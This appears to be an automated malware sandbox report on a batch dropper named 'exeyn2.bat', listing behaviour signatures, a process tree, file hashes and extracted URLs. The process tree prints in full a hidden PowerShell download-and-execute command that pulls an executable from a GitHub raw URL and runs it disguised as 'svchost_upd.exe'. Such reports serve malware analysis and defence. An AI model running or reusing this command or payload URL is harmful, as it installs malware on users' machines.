Overview

overview

10

Static

static

1

exeyn2.bat

windows10-2004-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/10/2026, 00:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    exeyn2.bat
  • Size 635B
  • Sample261024-a7ldtadh83
  • SHA256 07d48605f4caf5bca9f71634003b1560c43a6f849cbd78a9403879c7676eed94
  • MD5 SHA1 SHA512 TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://raw.githubusercontent.com/ast3twfgsdgre/saf/refs/heads/main/Launcher(3).exe

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\exeyn2.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\system32\wscript.exe
      wscript //nologo "C:\Users\Admin\AppData\Local\Temp\~h.vbs"
      2⤵
      • Checks computer location settings
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:1688
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\exeyn2.bat"" --h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5096
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -C "$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0');$w.DownloadFile('https://raw.githubusercontent.com/ast3twfgsdgre/saf/refs/heads/main/Launcher(3).exe','C:\Users\Admin\AppData\Local\Temp\svchost_upd.exe')"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2716
        • C:\Users\Admin\AppData\Local\Temp\svchost_upd.exe
          "C:\Users\Admin\AppData\Local\Temp\svchost_upd.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:2348

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_bmmidi1i.uiz.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmmidi1i.uiz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        svchost_upd.exe
        • Path C:\Users\Admin\AppData\Local\Temp\svchost_upd.exe
        • Size 1.1MB
        • SHA256 e4f6f610987e4e63d76dbfa741c9879ec8f5b53d463c851e0ddccdc027c17294
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ~h.vbs
        • Path C:\Users\Admin\AppData\Local\Temp\~h.vbs
        • Size 109B
        • SHA256 11749e8bcd67bdf6ac29254730f739ecf1f5c34827a0f9fd3cc8bf9814db8970
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2716-3-0x0000024023860000-0x0000024023870000-memory.dmp
        Download

        memory/2716-2-0x0000024023860000-0x0000024023870000-memory.dmp
        Download

        memory/2716-4-0x000002403DEC0000-0x000002403DEE2000-memory.dmp
        Download

        memory/2716-15-0x000002403DFF0000-0x000002403E13E000-memory.dmp
        Download